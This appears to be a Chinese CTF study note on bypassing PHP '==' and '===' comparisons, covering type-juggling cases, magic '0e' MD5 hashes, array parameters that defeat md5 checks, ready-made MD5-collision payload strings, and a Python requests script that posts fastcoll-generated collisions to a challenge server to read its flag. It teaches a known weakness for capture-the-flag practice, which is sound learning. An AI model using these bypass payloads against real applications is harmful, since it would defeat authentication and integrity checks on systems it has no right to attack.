弱比较(松散比较“==”)

如果在php代码中出现数字之间比较是否相等的情况,并且使用的是“==“的弱比较方式,那么可以使用以下方法代替

例子

1
2
3
var_dump(123=='123asd');//输出为true
var_dump(123=='1234asd');//输出为false
var_dump(123=='123asd1234');//输出为true

原因:在php中遇到数字与字符串进行松比较时,会将字符串中前几位是数字且数字后面不是”.“,”e“或”E“的转换为数字,与数字进行比较,相同则返回true,不同则返回false,后面的字符串直接截断扔掉。

1
2
3
var_dump(123==‘123.5asd1234’);//输出为false
var_dump(123==‘123e5asd1234’);//输出为false
var_dump(123==‘123E5asd1234’);//输出为false
1
//假设需要$username == 'abcdef'或者一个不知道的字符串,那么可以直接令$username = true即可

实例

要使一个纯数字与纯字母的字符串的md5值相同,判断比较使用的是“==”,可以利用一下弱比较的漏洞。

看一下md5()函数

1
string md5 ( string $str [, bool $raw_output = false ] )

str原始字符串。raw_output如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文摘要将以16字节长度的原始二进制格式返回。
16进制的数据中是含有e的,可以构建使得两个数字比较的,这里有一个现成的例子:

1
2
3
4
md5(‘240610708’)
//0e462097431906509019562988736854.
md5(‘QNKCDZO’)
//0e830400451993494058024219903391

可以看到,这两个字符串一个只包含数字,一个只包含字母,虽然两个的哈希不一样,但是都是一个形式:0e 纯数字这种格式的字符串在判断相等的时候会被认为是科学计数法的数字,先做字符串到数字的转换。

意思就是说上面的两个字符串在进行MD5转换之后并进行弱比较的话是相等的(都会被转换为0)

强比较(“===”)

md5和sha1都需要强相等

1
2
3
4
5
($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a) === sha1($this->b))
//需要a和b不强相等 且a和b的md5和sha1值相等
$a = 1;
$b = '1';
//即可

题目没有对数组进行限制

强比较无法识别数组类型,所以加入要使

1
$_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])

那么可以使用以下语句

1
param1[]=1&param2[]=2

题目要求必须是字符串(md5碰撞绕过)

payload原理:原本payload字符串中含有多种空白符号,MD5加密后hash值相等(空白符号不影响md5值)。但是我们上传参数时会自动进行一次url解码,这样过后因为空白字符两个url就不相等了,从而成功绕过。

1
2
3
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

题目要求除了是字符串之外,还需要是指定前缀的字符串

观察下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
highlight_file(__file__);

$master = "MD5 master!";

if(isset($_POST["master1"]) && isset($_POST["master2"])){
if($master.$_POST["master1"] !== $master.$_POST["master2"] && md5($master.$_POST["master1"]) === md5($master.$_POST["master2"])){
echo $master . "<br>";
echo file_get_contents('/flag');
}
}
else{
die("master? <br>");
}

需要找到前缀都是$master但不相同,而他们的md5值又相同的值。

先用fastcoll找出这两个值。

image-20250303121303414

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests  # 导入requests库,用于发送HTTP请求。  
import binascii # 导入binascii库,用于处理二进制和ASCII相关操作,这里主要用于将二进制数据转换为十六进制字符串。

# 定义一个函数,用于读取二进制文件并将其转换为十六进制字符串。
def read_binary_file_as_hex(file_path):
with open(file_path, 'rb') as binary_file: # 以二进制读取模式打开文件。
binary_data = binary_file.read() # 读取文件的全部二进制内容。
hex_data = binascii.hexlify(binary_data).decode('utf-8') # 将二进制数据转换为十六进制字符串,并解码为UTF-8格式的字符串。
return hex_data # 返回转换后的十六进制字符串。

# 定义两个文件路径变量,需要根据实际情况修改。
file_1 = 'F:\\CTF\\CTF\\CTF工具包\\crypto\\相同md5生成不同文件\\fastcoll_v1.0.0.5.exe\\1.bin'
file_2 = 'F:\\CTF\\CTF\\CTF工具包\\crypto\\相同md5生成不同文件\\fastcoll_v1.0.0.5.exe\\2.bin'

# 读取第一个文件的十六进制字符串,并去掉前22个字符(基于特定需求的操作)。
hex_data_1 = read_binary_file_as_hex(file_1)
hex_data_1 = hex_data_1[22:]

# 读取第二个文件的十六进制字符串,并同样去掉前22个字符。
hex_data_2 = read_binary_file_as_hex(file_2)
hex_data_2 = hex_data_2[22:]

# 打印转换后的十六进制字符串,用于调试或验证。
print(hex_data_1)
print(hex_data_2)

# 打印转换后的十六进制字符串的数据类型,确保其为字符串类型。
print(type(hex_data_1))

# 将十六进制字符串转换回二进制数据,因为服务器可能期望接收二进制格式的文件。
binary_data_1 = bytes.fromhex(hex_data_1)
binary_data_2 = bytes.fromhex(hex_data_2)

# 定义要发送POST请求的URL,需要根据实际情况修改。
url = 'http://210.44.150.15:25738/'

# 准备要发送的数据,这里将二进制数据作为表单数据的一部分。
# 注意:如果服务器期望接收文件上传,使用data参数可能不是最佳方式,应考虑使用files参数。
data = {
'master1': binary_data_1,
'master2': binary_data_2
}

# 发送POST请求,并接收服务器的响应。
response = requests.post(url, data=data)

# 打印服务器的响应状态码,用于检查请求是否成功。
print(response.status_code)

# 打印服务器的响应内容,通常包含服务器返回的数据或错误信息。
# 如果服务器返回了flag,它应该包含在这部分响应内容中。
print(response.text)